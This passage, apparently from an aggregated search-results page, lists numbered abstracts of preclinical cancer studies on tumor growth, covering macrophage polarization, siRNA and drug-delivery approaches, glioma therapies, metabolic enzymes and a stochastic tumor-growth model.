both). Strikingly, in a multivariate analysis, tumor stromal VEGF-A was identified as an independent predictor of poor BCSS (hazard ratio [HR]: 5.0; 95% CI: 2.0-12.3; P <0.01) and DFS (HR: 4.2; 95% CI: 1.7-10.3; P <0.01). To our knowledge, this is the first study to demonstrate that tumor stromal VEGF-A expression is a valuable prognostic indicator of BCSS and DFS at diagnosis and can therefore be used to 17. Interferon-γ and celecoxib inhibit lung-tumor growth through modulating M2/M1 macrophage ratio in the tumor microenvironment Directory of Open Access Journals (Sweden) Ren F 2014-09-01 Full Text Available Fuqiang Ren,1,2,* Mingyu Fan,1,2,* Jiandong Mei,1,2 Yongqiang Wu,3 Chengwu Liu,1,2 Qiang Pu,1,2 Zongbing You,4–9 Lunxu Liu1,2 1Department of Thoracic Surgery, West China Hospital, 2Western China Collaborative Innovation Center for Early Diagnosis and Multidisciplinary Therapy of Lung Cancer, 3Regenerative Medicine Research Center, West China Hospital, Sichuan University, Chengdu, People’s Republic of China; 4Department of Structural and Cellular Biology, 5Department of Orthopaedic Surgery, 6Tulane Cancer Center, 7Louisiana Cancer Research Consortium, 8Tulane Center for Stem Cell Research and Regenerative Medicine, 9Tulane Center for Aging, Tulane University Health Sciences Center, New Orleans, LA, USA *These two authors contributed equally to this study Abstract: Tumor-associated macrophages play an important role in tumor growth and progression. These macrophages are heterogeneous with diverse functions, eg, M1 macrophages inhibit tumor growth, whereas M2 macrophages promote tumor growth. In this study, we found that IFNγ and/or celecoxib (cyclooxygenase-2 inhibitor treatment consistently inhibited tumor growth in a mouse lung cancer model. IFNγ alone and celecoxib alone increased the percentage of M1 macrophages but decreased the percentage of M2 macrophages in the tumors, and thus the M2/M1 macrophage ratio was reduced to 1.1 and 1.7 by IFNγ alone and celecoxib alone, respectively, compared to the M2/M1 macrophage ratio of 4.4 in the control group. A combination of IFNγ and celecoxib treatment reduced the M2/M1 macrophage ratio to 0.8. Furthermore, IFNγ and/or celecoxib treatment decreased expression of matrix metalloproteinase (MMP-2, MMP-9, and VEGF, as well as the density of microvessels in the tumors, compared to the control group. This study provides the proof of principle that IFNγ and/or celecoxib treatment may inhibit lung-tumor growth through modulating the M2/M1 macrophage ratio in the tumor microenvironment, suggesting 18. Small interfering RNA targeted to IGF-IR delays tumor growth and induces proinflammatory cytokines in a mouse breast cancer model. Directory of Open Access Journals (Sweden) Tiphanie Durfort Full Text Available Insulin-like growth factor I (IGF-I and its type I receptor (IGF-IR play significant roles in tumorigenesis and in immune response. Here, we wanted to know whether an RNA interference approach targeted to IGF-IR could be used for specific antitumor immunostimulation in a breast cancer model. For that, we evaluated short interfering RNA (siRNAs for inhibition of in vivo tumor growth and immunological stimulation in immunocompetent mice. We designed 2'-O-methyl-modified siRNAs to inhibit expression of IGF-IR in two murine breast cancer cell lines (EMT6, C4HD. Cell transfection of IGF-IR siRNAs decreased proliferation, diminished phosphorylation of downstream signaling pathway proteins, AKT and ERK, and caused a G0/G1 cell cycle block. The IGF-IR silencing also induced secretion of two proinflammatory cytokines, TNF- α and IFN-γ. When we transfected C4HD cells with siRNAs targeting IGF-IR, mammary tumor growth was strongly delayed in syngenic mice. Histology of developing tumors in mice grafted with IGF-IR siRNA treated C4HD cells revealed a low mitotic index, and infiltration of lymphocytes and polymorphonuclear neutrophils, suggesting activation of an antitumor immune response. When we used C4HD cells treated with siRNA as an immunogen, we observed an increase in delayed-type hypersensitivity and the presence of cytotoxic splenocytes against wild-type C4HD cells, indicative of evolving immune response. Our findings show that silencing IGF-IR using synthetic siRNA bearing 2'-O-methyl nucleotides may offer a new clinical approach for treatment of mammary tumors expressing IGF-IR. Interestingly, our work also suggests that crosstalk between IGF-I axis and antitumor immune response can mobilize proinflammatory cytokines. 19. Bleomycin in octaarginine-modified fusogenic liposomes results in improved tumor growth inhibition. Science.gov (United States) Koshkaryev, Alexander; Piroyan, Aleksandr; Torchilin, Vladimir P 2013-07-01 Bleomycin (BLM) is an example of an anticancer drug that should be delivered into cytosol for its efficient therapeutic action. With this in mind, we developed octaarginine (R8)-modified fusogenic DOPE-liposomes (R8-DOPE-BLM). R8-modification dramatically increased (up to 50-fold) the cell-liposome interaction. R8-DOPE-liposomes were internalized via macropinocytosis and did not end up in the lysosomes. R8-DOPE-BLM led to a significantly stronger cell death and DNA damage in vitro relative to all controls. R8-DOPE-BLM demonstrated a prominent anticancer effect in the BALB/c mice bearing 4T1 tumors. Thus, R8-DOPE-BLM provided efficient intracellular delivery of BLM leading to strong tumor growth inhibition in vivo. PMID:22743614 20. MMP-9 triggered self-assembly of doxorubicin nanofiber depots halts tumor growth. Science.gov (United States) Kalafatovic, Daniela; Nobis, Max; Son, Jiye; Anderson, Kurt I; Ulijn, Rein V 2016-08-01 A central challenge in cancer care is to ensure that therapeutic compounds reach their targets. One approach is to use enzyme-responsive biomaterials, which reconfigure in response to endogenous enzymes that are overexpressed in diseased tissues, as potential site-specific anti-tumoral therapies. Here we report peptide micelles that upon MMP-9 catalyzed hydrolysis reconfigure to form fibrillar nanostructures. These structures slowly release a doxorubicin payload at the site of action. Using both in vitro and in vivo models, we demonstrate that the fibrillar depots are formed at the sites of MMP-9 overexpression giving rise to enhanced efficacy of doxorubicin, resulting in inhibition of tumor growth in an animal model. PMID:27192421 1. Phosphoglycerate Mutase 1 Coordinates Glycolysis and Biosynthesis to Promote Tumor Growth Energy Technology Data Exchange (ETDEWEB) Hitosugi, Taro [Emory Univ. School of Medicine, Atlanta, GA (United States); Zhou, Lu [Univ. of Chicago, IL (United States); Elf, Shannon [Emory Univ. School of Medicine, Atlanta, GA (United States); Fan, Jun [Emory Univ. School of Medicine, Atlanta, GA (United States); Kang, Hee-Bum [Emory Univ. School of Medicine, Atlanta, GA (United States); Seo, Jae Ho [Emory Univ. School of Medicine, Atlanta, GA (United States); Shan, Changliang [Emory Univ. School of Medicine, Atlanta, GA (United States); Dai, Qing [Univ. of Chicago, IL (United States); Zhang, Liang [Univ. of Chicago, IL (United States); Xie, Jianxin [Cell Signaling Technology, Inc., Danvers, MA (United States); Gu, Ting-Lei [Cell Signaling Technology, Inc., Danvers, MA (United States); Jin, Peng [Emory Univ. School of Medicine, Atlanta, GA (United States); Alečković, Masa [Princeton Univ., NJ (United States); LeRoy, Gary [Princeton Univ., NJ (United States); Kang, Yibin [Princeton Univ., NJ (United States); Sudderth, Jessica A. [UT Southwestern Medical Center, Dallas, TX (United States); DeBerardinis, Ralph J. [UT Southwestern Medical Center, Dallas, TX (United States); Luan, Chi-Hao [Northwestern Univ., Evanston, IL (United States); Chen, Georgia Z. [Emory Univ. School of Medicine, Atlanta, GA (United States); Muller, Susan [Emory Univ. School of Medicine, Atlanta, GA (United States); Shin, Dong M. [Emory Univ. School of Medicine, Atlanta, GA (United States); Owonikoko, Taofeek K. [Emory Univ. School of Medicine, Atlanta, GA (United States); Lonial, Sagar [Emory Univ. School of Medicine, Atlanta, GA (United States); Arellano, Martha L. [Emory Univ. School of Medicine, Atlanta, GA (United States); Khoury, Hanna J. [Emory Univ. School of Medicine, Atlanta, GA (United States); Khuri, Fadlo R. [Emory Univ. School of Medicine, Atlanta, GA (United States); Lee, Benjamin H. [Novartis Inst. for BioMedical Research, Cambridge, MA (United States); Ye, Keqiang [Emory Univ. School of Medicine, Atlanta, GA (United States); Boggon, Titus J. [Yale Univ. School of Medicine, New Haven, CT (United States); Kang, Sumin [Emory Univ. School of Medicine, Atlanta, GA (United States); He, Chuan [Univ. of Chicago, IL (United States); Chen, Jing [Emory Univ. School of Medicine, Atlanta, GA (United States) 2012-11-12 It is unclear how cancer cells coordinate glycolysis and biosynthesis to support rapidly growing tumors. We found that the glycolytic enzyme phosphoglycerate mutase 1 (PGAM1), commonly upregulated in human cancers due to loss of TP53, contributes to biosynthesis regulation partially by controlling intracellular levels of its substrate, 3-phosphoglycerate (3-PG), and product, 2-phosphoglycerate (2-PG). 3-PG binds to and inhibits 6-phosphogluconate dehydrogenase in the oxidative pentose phosphate pathway (PPP), while 2-PG activates 3-phosphoglycerate dehydrogenase to provide feedback control of 3-PG levels. Inhibition of PGAM1 by shRNA or a small molecule inhibitor PGMI-004A results in increased 3-PG and decreased 2-PG levels in cancer cells, leading to significantly decreased glycolysis, PPP flux and biosynthesis, as well as attenuated cell proliferation and tumor growth. 2. Suppression of peroxiredoxin 4 in glioblastoma cells increases apoptosis and reduces tumor growth. Directory of Open Access Journals (Sweden) Tae Hyong Kim Full Text Available Glioblastoma multiforme (GBM, the most common and aggressive primary brain malignancy, is incurable despite the best combination of current cancer therapies. For the development of more effective therapies, discovery of novel candidate tumor drivers is urgently needed. Here, we report that peroxiredoxin 4 (PRDX4 is a putative tumor driver. PRDX4 levels were highly increased in a majority of human GBMs as well as in a mouse model of GBM. Reducing PRDX4 expression significantly decreased GBM cell growth and radiation resistance in vitro with increased levels of ROS, DNA damage, and apoptosis. In a syngenic orthotopic transplantation model, Prdx4 knockdown limited GBM infiltration and significantly prolonged mouse survival. These data suggest that PRDX4 can be a novel target for GBM therapies in the future. 3. Inhibition of Rho-Associated Kinase 1/2 Attenuates Tumor Growth in Murine Gastric Cancer Directory of Open Access Journals (Sweden) Isabel Hinsenkamp 2016-08-01 Full Text Available Gastric cancer (GC remains a malignant disease with high mortality. Patients are frequently diagnosed in advanced stages where survival prognosis is poor. Thus, there is high medical need to find novel drug targets and treatment strategies. Recently, the comprehensive molecular characterization of GC subtypes revealed mutations in the small GTPase RHOA as a hallmark of diffuse-type GC. RHOA activates RHO-associated protein kinases (ROCK1/2 which regulate cell contractility, migration and growth and thus may play a role in cancer. However, therapeutic benefit of RHO-pathway inhibition in GC has not been shown so far. The ROCK1/2 inhibitor 1-(5-isoquinoline sulfonyl-homopiperazine (HA-1077, fasudil is approved for cerebrovascular bleeding in patients. We therefore investigated whether fasudil (i.p., 10 mg/kg per day, 4 times per week, 4 weeks inhibits tumor growth in a preclinical model of GC. Fasudil evoked cell death in human GC cells and reduced the tumor size in the stomach of CEA424-SV40 TAg transgenic mice. Small animal PET/CT confirmed preclinical efficacy. Mass spectrometry imaging identified a translatable biomarker for mouse GC and suggested rapid but incomplete in situ distribution of the drug to gastric tumor tissue. RHOA expression was increased in the neoplastic murine stomach compared with normal non-malignant gastric tissue, and fasudil reduced (auto phosphorylation of ROCK2 at THR249 in vivo and in human GC cells in vitro. In sum, our data suggest that RHO-pathway inhibition may constitute a novel strategy for treatment of GC and that enhanced distribution of future ROCK inhibitors into tumor tissue may further improve efficacy. 4. Rac2 controls tumor growth, metastasis and M1-M2 macrophage differentiation in vivo. Directory of Open Access Journals (Sweden) Shweta Joshi Full Text Available Although it is well-established that the macrophage M1 to M2 transition plays a role in tumor progression, the molecular basis for this process remains incompletely understood. Herein, we demonstrate that the small GTPase, Rac2 controls macrophage M1 to M2 differentiation and the metastatic phenotype in vivo. Using a genetic approach, combined with syngeneic and orthotopic tumor models we demonstrate that Rac2-/- mice display a marked defect in tumor growth, angiogenesis and metastasis. Microarray, RT-PCR and metabolomic analysis on bone marrow derived macrophages isolated from the Rac2-/- mice identify an important role for Rac2 in M2 macrophage differentiation. Furthermore, we define a novel molecular mechanism by which signals transmitted from the extracellular matrix via the α4β1 integrin and MCSF receptor lead to the activation of Rac2 and potentially regulate macrophage M2 differentiation. Collectively, our findings demonstrate a macrophage autonomous process by which the Rac2 GTPase is activated downstream of the α4β1 integrin and the MCSF receptor to control tumor growth, metastasis and macrophage differentiation into the M2 phenotype. Finally, using gene expression and metabolomic data from our Rac2-/- model, and information related to M1-M2 macrophage differentiation curated from the literature we executed a systems biologic analysis of hierarchical protein-protein interaction networks in an effort to develop an iterative interactome map which will predict additional mechanisms by which Rac2 may coordinately control macrophage M1 to M2 differentiation and metastasis. 5. Growth of block copolymer stabilized metal nanoparticles probed simultaneously by in situ XAS and UV-Vis spectroscopy. Science.gov (United States) Nayak, C; Bhattacharyya, D; Jha, S N; Sahoo, N K 2016-01-01 The growth of Au and Pt nanoparticles from their respective chloride precursors using block copolymer-based reducers has been studied by simultaneous in situ measurement of XAS and UV-Vis spectroscopy at the energy-dispersive EXAFS beamline (BL-08) at INDUS-2 SRS at RRCAT, Indore, India. While the XANES spectra of the precursor give real-time information on the reduction process, the EXAFS spectra reveal the structure of the clusters formed at the intermediate stages of growth. The growth kinetics of both types of nanoparticles are found to be almost similar and are found to follow three stages, though the first stage of nucleation takes place earlier in the case of Au than in the case of Pt nanoparticles due to the difference in the reduction potential of the respective precursors. The first two stages of the growth of Au and Pt nanoparticles as obtained by in situ XAS measurements could be corroborated by simultaneous in situ measurement of UV-Vis spectroscopy also. PMID:26698077 6. Exosome derived from epigallocatechin gallate treated breast cancer cells suppresses tumor growth by inhibiting tumor-associated macrophage infiltration and M2 polarization International Nuclear Information System (INIS) Tumor-associated macrophages (TAM) play an important role in tumor microenvironment. Particularly, M2 macrophages contribute to tumor progression, depending on the expression of NF-κB. Tumor-derived exosomes can modulate tumor microenvironment by transferring miRNAs to immune cells. Epigallocatechin gallate (EGCG) has well known anti-tumor effects; however, no data are available on the influence of EGCG on communication with cancer cells and TAM. Murine breast cancer cell lines, 4T1, was used for in vivo and ex vivo studies. Exosome was extracted from EGCG-treated 4T1 cells, and the change of miRNAs was screened using microarray. Tumor cells or TAM isolated from murine tumor graft were incubated with exosomes derived from EGCG-treated and/or miR-16 inhibitor-transfected 4T1 cells. Chemokines for monocytes (CSF-1 and CCL-2), cytokines both with high (IL-6 and TGF-β) and low (TNF-α) expression in M2 macrophages, and molecules in NF-κB pathway (IKKα and Iκ-B) were evaluated by RT-qPCR or western blot. EGCG suppressed tumor growth in murine breast cancer model, which was associated with decreased TAM and M2 macrophage infiltration. Expression of chemokine for monocytes (CSF-1 and CCL-2) were low in tumor cells from EGCG-treated mice, and cytokines of TAM was skewed from M2- into M1-like phenotype by EGCG as evidenced by decreased IL-6 and TGF-β and increased TNF-α. Ex vivo incubation of isolated tumor cells with EGCG inhibited the CSF-1 and CCL-2 expression. Ex vivo incubation of TAM with exosomes from EGCG-treated 4T1 cells led to IKKα suppression and concomitant I-κB accumulation; increase of IL-6 and TGF-β; and, decrease of TNF-α. EGCG up-regulated miR-16 in 4T1 cells and in the exosomes. Treatment of tumor cells or TAM with exosomes derived from EGCG-treated and miR-16-knock-downed 4T1 cells restored the above effects on chemokines, cytokines, and NF-κB pathway elicited by EGCG-treated exosomes. Our data demonstrate that EGCG up-regulates miR-16 in 7. Withania somnifera Suppresses Tumor Growth of Intracranial Allograft of Glioma Cells. Science.gov (United States) Kataria, Hardeep; Kumar, Sushil; Chaudhary, Harshita; Kaur, Gurcharan 2016-08-01 Gliomas are the most frequent type of primary brain tumor in adults. Their highly proliferative nature, complex cellular composition, and ability to escape therapies have confronted investigators for years, hindering the advancement toward an effective treatment. Agents that are safe and can be administered as dietary supplements have always remained priority to be most feasible for cancer therapy. Withania somnifera (ashwagandha) is an essential ingredient of Ayurvedic preparations and is known to eliminate cancer cells derived from a variety of peripheral tissues. Although our previous studies have addressed the in vitro anti-proliferative and differentiation-inducing properties of ashwagandha on neuronal cell lines, in vivo studies validating the same are lacking. While exploring the mechanism of its action in vitro, we observed that the ashwagandha water extract (ASH-WEX) induced the G2/M phase blockade and caused the activation of multiple pro-apoptotic pathways, leading to suppression of cyclin D1, bcl-xl, and p-Akt, and reduced the expression of polysialylated form of neural cell adhesion molecule (PSA-NCAM) as well as the activity of matrix metalloproteinases. ASH-WEX reduced the intracranial tumor volumes in vivo and suppressed the tumor-promoting proteins p-nuclear factor kappa B (NF-κB), p-Akt, vascular endothelial growth factor (VEGF), heat shock protein 70 (HSP70), PSA-NCAM, and cyclin D1 in the rat model of orthotopic glioma allograft. Reduction in glial fibrillary acidic protein (GFAP) and upregulation of mortalin and neural cell adhesion molecule (NCAM) expression specifically in tumor-bearing tissue further indicated the anti-glioma efficacy of ASH-WEX in vivo. Combining this enhanced understanding of the molecular mechanisms of ASH-WEX in glioma with in vivo model system offers new opportunities to develop therapeutic strategy for safe, specific, and effective formulations for treating brain tumors. PMID:26208698 8. DNA demethylating agent 5-azacytidine inhibits myeloid-derived suppressor cells induced by tumor growth and cyclophosphamide treatment OpenAIRE Mikyšková, R; Indrová, M. (Marie); Vlková, V. (Veronika); Bieblová, J. (Jana); Šímová, J; Paračková, Z. (Zuzana); Pajtasz-Piasecka, E.; Rossowska, J.; Reiniš, M 2014-01-01 MDSCs represent one of the key players mediating immunosuppression. These cells accumulate in the TME, lymphoid organs, and blood during tumor growth. Their mobilization was also reported after CY therapy. DNMTi 5AC has been intensively studied as an antitumor agent. In this study, we examined, using two different murine tumor models, the modulatory effects of 5AC on TU-MDSCs and CY-MDSCs tumor growth and CY therapy. Indeed, the percentage of MDSCs in the TME and spleens of 5AC-treated mice b... 9. A novel nanoparticle containing neuritin peptide with grp170 induces a CTL response to inhibit tumor growth. Science.gov (United States) Yuan, Bangqing; Shen, Hanchao; Su, Tonggang; Lin, Li; Chen, Ting; Yang, Zhao 2015-10-01 Malignant glioma is among the most challenging of all cancers to treat successfully. Despite recent advances in surgery, radiotherapy and chemotherapy, current treatment regimens have only a marginal impact on patient survival. In this study, we constructed a novel nanoparticle containing neuritin peptide with grp170. The nanoparticle could elicit a neuritin-specific cytotoxic T lymphocyte response to lyse glioma cells in vitro. In addition, the nanoparticle could inhibit tumor growth and improve the lifespan of tumor-bearing mice in vivo. Taken together, the results demonstrated that the nanoparticle can inhibit tumor growth and represents a promising therapy for glioma. PMID:26290143 10. Action of hexachlorobenzene on tumor growth and metastasis in different experimental models Energy Technology Data Exchange (ETDEWEB) Pontillo, Carolina Andrea, E-mail: caroponti@hotmail.com [Laboratorio de Efectos Biológicos de Contaminantes Ambientales, Departamento de Bioquímica Humana, Facultad de Medicina, Universidad de Buenos Aires, Buenos Aires (Argentina); Rojas, Paola, E-mail: parojas2010@gmail.com [Laboratorio de Carcinogénesis Hormonal, Instituto de Biología y Medicina Experimental (IBYME-CONICET), Buenos Aires (Argentina); Chiappini, Florencia, E-mail: florenciachiappini@hotmail.com [Laboratorio de Efectos Biológicos de Contaminantes Ambientales, Departamento de Bioquímica Humana, Facultad de Medicina, Universidad de Buenos Aires, Buenos Aires (Argentina); Sequeira, Gonzalo, E-mail: chicon27_7@hotmail.com [Laboratorio de Carcinogénesis Hormonal, Instituto de Biología y Medicina Experimental (IBYME-CONICET), Buenos Aires (Argentina); Cocca, Claudia, E-mail: cm_cocca@hotmail.com [Laboratorio de Radioisótopos, Facultad de Farmacia y Bioquímica, Universidad de Buenos Aires, Buenos Aires (Argentina); Crocci, Máximo, E-mail: info@crescenti.com.ar [Instituto de Inmunooncología Crescenti, Buenos Aires (Argentina); Colombo, Lucas, E-mail: lucascol2003@yahoo.com.ar [Instituto de Oncología Angel Roffo, Universidad de Buenos Aires, Buenos Aires,Argentina (Argentina); Lanari, Claudia, E-mail: lanari.claudia@gmail.com [Laboratorio de Carcinogénesis Hormonal, Instituto de Biología y Medicina Experimental (IBYME-CONICET), Buenos Aires (Argentina); and others 2013-05-01 Hexachlorobenzene (HCB) is a widespread organochlorine pesticide, considered a possible human carcinogen. It is a dioxin-like compound and a weak ligand of the aryl hydrocarbon receptor (AhR). We have found that HCB activates c-Src/HER1/STAT5b and HER1/ERK1/2 signaling pathways and cell migration, in an AhR-dependent manner in MDA-MB-231 breast cancer cells. The aim of this study was to investigate in vitro the effect of HCB (0.005, 0.05, 0.5, 5 μM) on cell invasion and metalloproteases (MMPs) 2 and 9 activation in MDA-MB-231 cells. Furthermore, we examined in vivo the effect of HCB (0.3, 3, 30 mg/kg b.w.) on tumor growth, MMP2 and MMP9 expression, and metastasis using MDA-MB-231 xenografts and two syngeneic mouse breast cancer models (spontaneous metastasis using C4-HI and lung experimental metastasis using LM3). Our results show that HCB (5 μM) enhances MMP2 expression, as well as cell invasion, through AhR, c-Src/HER1 pathway and MMPs. Moreover, HCB increases MMP9 expression, secretion and activity through a HER1 and AhR-dependent mechanism, in MDA-MB-231 cells. HCB (0.3 and 3 mg/kg b.w.) enhances subcutaneous tumor growth in MDA-MB-231 and C4-HI in vivo models. In vivo, using MDA-MB-231 model, the pesticide (0.3, 3 and 30 mg/kg b.w.) activated c-Src, HER1, STAT5b, and ERK1/2 signaling pathways and increased MMP2 and MMP9 protein levels. Furthermore, we observed that HCB stimulated lung metastasis regardless the tumor hormone-receptor status. Our findings suggest that HCB may be a risk factor for human breast cancer progression. - Highlights: ► HCB enhances MMP2 and MMP9 expression and cell invasion in MDA-MB-231, in vitro. ► HCB-effects are mediated through AhR, HER1 and/or c-Src. ► HCB increases subcutaneous tumor growth in MDA-MB-231 and C4-HI in vivo models. ► HCB activates c-Src/HER1 pathway and increases MMPs levels in MDA-MB-231 tumors. ► HCB stimulates lung metastasis in C4-HI and LM3 in vivo models. 11. Inhibitory effects of TNP-470 in combination with BCNU on tumor growth of human glioblastoma xenografts. Science.gov (United States) Yao, Dongxiao; Zhao, Hongyang; Zhang, Fangcheng; Chen, Jian; Jiang, Xiaobing; Zhu, Xianli 2010-12-01 This study investigated the effect of TNP-470 in combination with carmustine (BCNU) on the growth of subcutaneously implanted human glioblastoma xenografts in nude mice. Human glioblastoma U-251 cells (1×10(7)) were injected into 24 nude mice subcutaneously. The tumor-bearing mice were randomly divided into 4 groups on the seventh day following tumor implantation: TNP-470 group, in which TNP-470 was given 30 mg/kg subcutaneously every other day 7 times; BCNU group, in which 20 mg/kg BCNU were injected into peritoneal cavity per 4 days 3 times; TNP-470 plus BCNU group, in which TNP-470 and BCNU were coadministered in the same manner as in the TNP-470 group and the BCNU group; control group, in which the mice were given 0.2 mL of the mixture including 3% ethanol, 5% acacia and 0.9% saline subcutaneously every other day 7 times. The tumor size and weights were measured. The tumor microvessel density (MVD) was determined by immunostaining by using goat-anti-mouse polyclonal antibody CD105. The results showed that on the 21th day following treatment, the volume of xenografts in the TNP-470 plus BCNU group was (108.93±17.63)mm(3), markedly lower than that in the TNP-470 group [(576.10±114.29)mm(3)] and the BCNU group [(473.01±48.04)mm(3)] (both P0.05). The inhibition rate of the tumor growth in the TNP-470 plus BCNU group was (92.80±11.37)%, notably higher than that in the TNP-470 group [(61.91±6.29)%] and the BCNU group [(68.73±9.65)%] (both P0.05). The MVD of xenografts in the TNP-470 plus BCNU group was decreased significantly as compared with that in the TNP-470 group or the BCNU group (both P0.05). It was concluded that the combination of TNP-470 and BCNU can significantly inhibit the growth of human glioblastoma xenografts in nude mice without evident side effects. PMID:21181367 12. Frondoside a suppressive effects on lung cancer survival, tumor growth, angiogenesis, invasion, and metastasis. Science.gov (United States) Attoub, Samir; Arafat, Kholoud; Gélaude, An; Al Sultan, Mahmood Ahmed; Bracke, Marc; Collin, Peter; Takahashi, Takashi; Adrian, Thomas E; De Wever, Olivier 2013-01-01 A major challenge for oncologists and pharmacologists is to develop less toxic drugs that will improve the survival of lung cancer patients. Frondoside A is a triterpenoid glycoside isolated from the sea cucumber, Cucumaria frondosa and was shown to be a highly safe compound. We investigated the impact of Frondoside A on survival, migration and invasion in vitro, and on tumor growth, metastasis and angiogenesis in vivo alone and in combination with cisplatin. Frondoside A caused concentration-dependent reduction in viability of LNM35, A549, NCI-H460-Luc2, MDA-MB-435, MCF-7, and HepG2 over 24 hours through a caspase 3/7-dependent cell death pathway. The IC50 concentrations (producing half-maximal inhibition) at 24 h were between 1.7 and 2.5 µM of Frondoside A. In addition, Frondoside A induced a time- and concentration-dependent inhibition of cell migration, invasion and angiogenesis in vitro. Frondoside A (0.01 and 1 mg/kg/day i.p. for 25 days) significantly decreased the growth, the angiogenesis and lymph node metastasis of LNM35 tumor xenografts in athymic mice, without obvious toxic side-effects. Frondoside A (0.1-0.5 µM) also significantly prevented basal and bFGF induced angiogenesis in the CAM angiogenesis assay. Moreover, Frondoside A enhanced the inhibition of lung tumor growth induced by the chemotherapeutic agent cisplatin. These findings identify Frondoside A as a promising novel therapeutic agent for lung cancer. PMID:23308143 13. Frondoside a suppressive effects on lung cancer survival, tumor growth, angiogenesis, invasion, and metastasis. Directory of Open Access Journals (Sweden) Samir Attoub Full Text Available A major challenge for oncologists and pharmacologists is to develop less toxic drugs that will improve the survival of lung cancer patients. Frondoside A is a triterpenoid glycoside isolated from the sea cucumber, Cucumaria frondosa and was shown to be a highly safe compound. We investigated the impact of Frondoside A on survival, migration and invasion in vitro, and on tumor growth, metastasis and angiogenesis in vivo alone and in combination with cisplatin. Frondoside A caused concentration-dependent reduction in viability of LNM35, A549, NCI-H460-Luc2, MDA-MB-435, MCF-7, and HepG2 over 24 hours through a caspase 3/7-dependent cell death pathway. The IC50 concentrations (producing half-maximal inhibition at 24 h were between 1.7 and 2.5 µM of Frondoside A. In addition, Frondoside A induced a time- and concentration-dependent inhibition of cell migration, invasion and angiogenesis in vitro. Frondoside A (0.01 and 1 mg/kg/day i.p. for 25 days significantly decreased the growth, the angiogenesis and lymph node metastasis of LNM35 tumor xenografts in athymic mice, without obvious toxic side-effects. Frondoside A (0.1-0.5 µM also significantly prevented basal and bFGF induced angiogenesis in the CAM angiogenesis assay. Moreover, Frondoside A enhanced the inhibition of lung tumor growth induced by the chemotherapeutic agent cisplatin. These findings identify Frondoside A as a promising novel therapeutic agent for lung cancer. 14. Tumor-promoting phorbol ester transiently down-modulates the p53 level and blocks the cell cycle DEFF Research Database (Denmark) Skouv, J; Jensen, P O; Forchhammer, J; 1994-01-01 Activation of the protein kinase C signaling pathway by tumor-promoting phorbol esters, such as 4 beta-phorbol 12-myristate 13-acetate (PMA), induced a decrease in the level of p53 mRNA in several serum-starved human cell lines. Also, the tumor-promoting phosphatase inhibitor okadaic acid induced...... a decrease in the p53 mRNA level in the cell lines. Normal diploid as well as various tumor cell lines were tested. Two tumor cell lines, HeLa and A549, both containing the wild-type p53 gene, but very different levels of p53 protein, were studied in detail. In both cell lines, the level of p53 m......RNA was minimal after 9 h of exposure to PMA. After approximately 120 h, the p53 mRNA level was similar to the pretreatment level. PMA induced a similar transient decrease in the level of p53 protein in the A549 cell line. The decrease in the p53 mRNA level could not be explained by changes in the transcriptional... 15. The Akt1/IL-6/STAT3 pathway regulates growth of lung tumor initiating cells. Science.gov (United States) Malanga, Donatella; De Marco, Carmela; Guerriero, Ilaria; Colelli, Fabiana; Rinaldo, Nicola; Scrima, Marianna; Mirante, Teresa; De Vitis, Claudia; Zoppoli, Pietro; Ceccarelli, Michele; Riccardi, Miriam; Ravo, Maria; Weisz, Alessandro; Federico, Antonella; Franco, Renato; Rocco, Gaetano; Mancini, Rita; Rizzuto, Antonia; Gulletta, Elio; Ciliberto, Gennaro; Viglietto, Giuseppe 2015-12-15 Here we report that the PI3K/Akt1/IL-6/STAT3 signalling pathway regulates generation and stem cell-like properties of Non-Small Cell Lung Cancer (NSCLC) tumor initiating cells (TICs). Mutant Akt1, mutant PIK3CA or PTEN loss enhances formation of lung cancer spheroids (LCS), self-renewal, expression of stemness markers and tumorigenic potential of human immortalized bronchial cells (BEAS-2B) whereas Akt inhibition suppresses these activities in established (NCI-H460) and primary NSCLC cells. Matched microarray analysis of Akt1-interfered cells and LCSs identified IL-6 as a critical target of Akt signalling in NSCLC TICs. Accordingly, suppression of Akt in NSCLC cells decreases IL-6 levels, phosphorylation of IkK and IkB, NF-kB transcriptional activity, phosphorylation and transcriptional activity of STAT3 whereas active Akt1 up-regulates them. Exposure of LCSs isolated from NSCLC cells to blocking anti-IL-6 mAbs, shRNA to IL-6 receptor or to STAT3 markedly reduces the capability to generate LCSs, to self-renew and to form tumors, whereas administration of IL-6 to Akt-interfered cells restores the capability to generate LCSs. Finally, immunohistochemical studies in NSCLC patients demonstrated a positive correlative trend between activated Akt, IL-6 expression and STAT3 phosphorylation (n = 94; p cells in NSCLC. 16. Chrysin inhibits tumor promoter-induced MMP-9 expression by blocking AP-1 via suppression of ERK and JNK pathways in gastric cancer cells. Directory of Open Access Journals (Sweden) Yong Xia Full Text Available Cell invasion is a crucial mechanism of cancer metastasis and malignancy. Matrix metalloproteinase-9 (MMP-9 is an important proteolytic enzyme involved in the cancer cell invasion process. High expression levels of MMP-9 in gastric cancer positively correlate with tumor aggressiveness and have a significant negative correlation with patients' survival times. Recently, mechanisms suppressing MMP-9 by phytochemicals have become increasingly investigated. Chrysin, a naturally occurring chemical in plants, has been reported to suppress tumor metastasis. However, the effects of chrysin on MMP-9 expression in gastric cancer have not been well studied. In the present study, we tested the effects of chrysin on MMP-9 expression in gastric cancer cells, and determined its underlying mechanism. We examined the effects of chrysin on MMP-9 expression and activity via RT-PCR, zymography, promoter study, and western blotting in human gastric cancer AGS cells. Chrysin inhibited phorbol-12-myristate 13-acetate (PMA-induced MMP-9 expression in a dose-dependent manner. Using AP-1 decoy oligodeoxynucleotides, we confirmed that AP-1 was the crucial transcriptional factor for MMP-9 expression. Chrysin blocked AP-1 via suppression of the phosphorylation of c-Jun and c-Fos through blocking the JNK1/2 and ERK1/2 pathways. Furthermore, AGS cells pretreated with PMA showed markedly enhanced invasiveness, which was partially abrogated by chrysin and MMP-9 antibody. Our results suggest that chrysin may exert at least part of its anticancer effect by controlling MMP-9 expression through suppression of AP-1 activity via a block of the JNK1/2 and ERK1/2 signaling pathways in gastric cancer AGS cells. 17. Mean Exit Time and Escape Probability for a Tumor Growth System under Non-Gaussian Noise CERN Document Server Ren, Jian; Gao, Ting; Kan, Xingye; Duan, Jinqiao 2011-01-01 Effects of non-Gaussian $\\alpha-$stable L\\'evy noise on the Gompertz tumor growth model are quantified by considering the mean exit time and escape probability of the cancer cell density from inside a safe or benign domain. The mean exit time and escape probability problems are formulated in a differential-integral equation with a fractional Laplacian operator. Numerical simulations are conducted to evaluate how the mean exit time and escape probability vary or bifurcates when $\\alpha$ changes. Some bifurcation phenomena are observed and their impacts are discussed. 